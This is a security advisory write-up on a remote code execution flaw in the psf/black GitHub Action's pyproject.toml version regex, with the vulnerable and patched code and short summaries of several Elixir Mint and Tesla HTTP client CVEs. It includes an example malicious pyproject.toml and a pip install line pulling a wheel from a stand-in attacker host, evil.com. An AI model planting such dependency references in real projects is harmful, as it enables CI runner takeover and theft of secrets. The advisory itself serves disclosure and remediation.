Mar 7, 2026·5 min read·20 visits
The psf/black GitHub Action is vulnerable to RCE when `use_pyproject` is enabled. Attackers can modify `pyproject.toml` in a Pull Request to include a malicious dependency URL, which the Action unsafely passes to `pip install`, executing arbitrary code on the runner.
A high-severity Remote Code Execution (RCE) vulnerability exists in the official GitHub Action for the Black Python code formatter (`psf/black`). The vulnerability arises from improper input validation within the Action's version parsing logic when reading `pyproject.toml` configuration files. By constructing a malicious dependency definition using PEP 508 direct references (e.g., pointing to a remote URL), an attacker can inject arbitrary arguments into the underlying `pip install` command. This flaw allows unauthorized code execution within the context of the GitHub Actions runner, potentially compromising CI/CD pipelines and secrets.
The psf/black GitHub Action is a widely used CI/CD component that enforces Python code formatting standards. The vulnerability, identified as GHSA-V53H-F6M7-XCGM, resides in the mechanism the Action uses to determine which version of Black to install. Specifically, when the configuration option use_pyproject is set to true, the Action attempts to parse the pyproject.toml file to extract the requested version of Black.
The parsing logic relies on a regular expression that fails to strictly validate the version string. Instead of restricting input to valid version numbers (e.g., 23.1.0) or standard comparison operators, the parser inadvertently accepts arbitrary strings, including PEP 508 direct references. This allows the inclusion of the @ symbol followed by a URL.
When the Action encounters such a string, it passes the captured value directly to a shell command responsible for installing the dependency. This behavior transforms a configuration parsing routine into a vector for Remote Code Execution (RCE), as pip will download and execute code from the attacker-controlled URL during the installation process.
The root cause of this vulnerability is an overly permissive regular expression used to extract the version specifier from pyproject.toml content. The vulnerability is located in action/main.py. The original implementation used a negative character class to identify the version string, rather than an allowlist of valid characters.
The vulnerable code utilized the following regex:
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)This regular expression captures any text following the word "black" provided that the first character of the capture group is not an uppercase letter, number, dot, underscore, or hyphen. Crucially, this negative logic allows special characters such as @ or whitespace followed by @ to pass through. The intention was likely to capture standard version specifiers (e.g., ==22.3.0), but the implementation failed to account for the full syntax of PEP 508, which permits direct references via the @ syntax.
The captured group is subsequently interpolated into a pip install command without further sanitization. This lack of secondary validation means that if the regex matches a malicious string, that string is executed as a command argument.
The remediation for this vulnerability involves replacing the permissive negative matching logic with a strict allowlist regex. The patch ensures that only valid Python version comparison operators and version numbers are accepted.
Vulnerable Implementation (action/main.py):
# Vulnerable: Accepts anything starting with a character NOT in [A-Z0-9._-]
# This allows " @ https://attacker.com/malicious.whl"
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)Patched Implementation (Commit 0a2560b):
# Fixed: Whitelists specific operators (~=, ==, !=, etc.) and alphanumeric version strings
BLACK_VERSION_RE = re.compile(
r"^black((?:\s*(?:~=|==|!=|<=|>=|<|>|===)\s*[A-Za-z0-9*+._-]+)"
r"(?:\s*,\s*(?:~=|==|!=|<=|>=|<|>|===)\s*[A-Za-z0-9*+._-]+)*)\s*$",
re.IGNORECASE,
)The patched regex enforces a strict structure: it requires a valid comparison operator (like == or >=) followed by a version identifier composed of alphanumeric characters and standard version delimiters (*+._-). It also supports comma-separated version constraints (e.g., >=20.0, <24.0). By enforcing this structure, the injection of the @ symbol or URLs is rendered impossible, as the regex will fail to match malicious lines entirely.
To exploit this vulnerability, an attacker must target a repository that utilizes the psf/black Action with the configuration use_pyproject: true. This configuration instructs the Action to dynamically determine the Black version from the repository's files.
The attack vector involves submitting a Pull Request (PR) that modifies the pyproject.toml file. The attacker replaces the standard version dependency with a direct reference to a malicious wheel or source distribution hosted on an attacker-controlled server.
Example Malicious pyproject.toml:
[project]
name = "target-repo"
dependencies = [
"black @ https://evil.com/malicious-1.0.0-py3-none-any.whl"
]When the GitHub Action runs on this PR, the vulnerable regex captures the string @ https://evil.com/malicious-1.0.0-py3-none-any.whl. The Action then executes:
pip install "black @ https://evil.com/malicious-1.0.0-py3-none-any.whl"During the installation of the remote package, pip executes the setup.py script (for source distributions) or any pre-install hooks. This grants the attacker code execution capabilities within the CI/CD runner environment. Attackers can leverage this access to exfiltrate repository secrets, modify build artifacts, or pivot to other systems accessible by the runner.
The impact of this vulnerability is rated as High (8.7). Successful exploitation results in full Remote Code Execution (RCE) on the GitHub Actions runner. The context of a CI/CD runner is highly sensitive; these environments often possess privileged credentials, such as:
GITHUB_TOKEN often has write permissions to the repository.Compromise of the runner can lead to a supply chain attack where the attacker injects malicious code into the project's build artifacts or releases. Furthermore, since the vulnerability can be triggered via a Pull Request from a fork (depending on workflow triggers), it is exposable to unauthenticated external attackers in public repositories. The fix is robust and completely eliminates the vector by enforcing strict syntax validation.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
psf/black GitHub Action Python Software Foundation | < 0a2560b (Commit) | 0a2560b (Commit) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-20 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| Affected Component | action/main.py |
| Exploit Status | Proof of Concept Available |
| Impact | Remote Code Execution |
CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.
An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.
An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.
CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.
An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.
A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.